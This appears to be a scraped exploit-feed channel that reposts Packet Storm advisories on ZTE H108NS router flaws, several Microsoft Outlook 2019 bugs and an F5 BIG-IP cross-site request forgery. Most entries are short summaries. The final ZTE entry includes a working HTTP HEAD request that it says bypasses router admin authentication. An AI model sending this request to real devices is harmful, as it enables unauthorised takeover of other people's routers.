Hacking Articles Tips Tricks Videos Tutorials

11 views17:57

Exploit Collector
ZTE ZXHN-H108NS Stack Buffer Overflow / Denial Of Service

https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
ZTE ZXHN-H108NS router with firmware version H108NSV1.0.7u_ZRD_GR2_A68 remote stack buffer overflow exploit that causes a denial of service condition.

SHA-256 | 7a558d9353686c1fadfc2913a8a5f9de3a9bd0334db283f12ce28be10cb28926

Download
# Exploit Title: Router ZTE-H108NS - Stack Buffer Overflow (DoS)
# Date: 19-11-2022
# Exploit Author: George Tsimpidas # Vendor: https://www.zte.com.cn/global/
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# Usage: python zte-exploit.py
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

ZTE ZXHN-H108NS Stack Buffer Overflow / Denial Of Service

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 17:57

Hacking Articles Tips Tricks Videos Tutorials

9 views17:57

Hacking Articles Tips Tricks Videos Tutorials

10 views17:57

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Microsoft Outlook 2019 16.0.12624.20424 Remote Code Execution

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
This is a whitepaper discussing CVE-2020-1349 where a remote code execution vulnerability exists in Microsoft Outlook 2019 version 16.0.12624.20424 when it fails to properly handle objects in memory.

SHA-256 | 0cbeab94a42718d9dc0fbddcb25e670799fb9171ff9f4aa0d640945941711759

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Microsoft Outlook 2019 16.0.12624.20424 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 17:57

Hacking Articles Tips Tricks Videos Tutorials

10 views17:57

Hacking Articles Tips Tricks Videos Tutorials

10 views17:57

Hacking Articles Tips Tricks Videos Tutorials

11 views17:57

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
F5 BIG-IP iControl Cross Site Request Forgery

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

F5 BIG-IP iControl Cross Site Request Forgery

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 17:57

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Microsoft Outlook 2019 16.0.12624.20424 Out-Of-Bounds Read

https://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png
This is a whitepaper along with a proof of concept eml file that demonstrates an out-of-bounds read on Outlook 2019 version 16.0.12624.20424. NIST references this issue as simply an information disclosure.

SHA-256 | d7cbdf78b8d88b5ef4f17ae322717c6adec1d335f3eddae9fc75f883c66bbc76

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Microsoft Outlook 2019 16.0.12624.20424 Out-Of-Bounds Read

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 17:57

Hacking Articles Tips Tricks Videos Tutorials

11 views17:57

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Microsoft Outlook 2019 16.0.13231.20262 Remote Code Execution

https://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png
This is a whitepaper along with a proof of concept eml file discussing CVE-2020-16947 where a remote code execution vulnerability exists in Microsoft Outlook 2019 version 16.0.13231.20262 when it fails to properly handle objects in memory.

SHA-256 | e10886839475e813dff9362bc048392f047b424255b849ca304a468b0daa17a3

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Microsoft Outlook 2019 16.0.13231.20262 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 17:57

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
ZTE ZXHN-H108NS Authentication Bypass

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
ZTE ZXHN-H108NS router with firmware version H108NSV1.0.7u_ZRD_GR2_A68 suffers from an authentication bypass vulnerability when alternate HTTP methods are leveraged.

SHA-256 | ff48587cc9c6fc5ae634b2741b79369b52b3d70d471b96017d5813fa8064c1e5

Download

# Exploit Title: Router ZTE-H108NS - Authentication Bypass
# Date: 19-11-2022
# Exploit Author: George Tsimpidas 
# Vendor: https://www.zte.com.cn/global/
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# CVE: N/A # Tested on: Debian 5.18.5

Description :

When specific http methods are listed within a security constraint,
then only those
methods are protected. Router ZTE-H108NS defines the following http
methods: GET, POST, and HEAD. HEAD method seems to fall under a flawed
operation which allows the HEAD to be implemented correctly with every
Response Status Code.
Proof Of Concept :

Below request bypasses successfully the Basic Authentication, and
grants access to the Administration Panel of the Router.
HEAD /cgi-bin/tools_admin.asp  HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: SESSIONID=1cd6bb77
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0